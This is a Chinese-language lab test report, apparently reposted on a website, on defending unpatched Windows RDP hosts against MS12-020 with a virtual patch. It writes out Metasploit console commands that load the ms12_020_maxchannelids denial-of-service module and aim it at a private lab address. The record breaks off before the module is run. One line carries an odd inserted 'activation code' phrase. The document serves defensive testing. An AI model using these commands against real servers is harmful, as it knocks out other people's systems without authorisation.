关于MS12-020漏洞攻击测试报告
测试目的：针对windows操作系统的漏洞，在为打补丁之前，利用虚拟补丁对漏洞进行防护的有效性，保护用户使用安全。
windows2008 r2激活码操作系统（版本、语言）:服务器端：windows server 2008 R2 64位，客户端：windows xp 64位。
一、虚拟补丁功能测试过程
漏洞编号：MS12-020
测试工具：metasploit
测试过程：
客户端：
1、确定系统没有安装MS12-020补丁（KB2621440 或  KB2667402）
2、启用远程桌面服务
攻击主机
1、安装攻击测试工具 metasploit。
2、安装完后，打开metasploit： 开始—所有程序—Metasploit中的Metasploit Console控制台：
3、控制台打开后，将出现如下界面
4、攻击开始
(1) 输入如下命令（红字体为需要输入部分）
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf  auxiliary(ms12_020_maxchannelids) > show options
Module options
(auxiliary/dos/windows/rdp/ms12_020_maxchannelids):
Name  Current Setting  Required  Description
—-  —————  ——–  ———–
RHOST                  yes      The target address
RPORT  3389            yes      The target port
msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.51.88
RHOST => 192.168.51.88

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。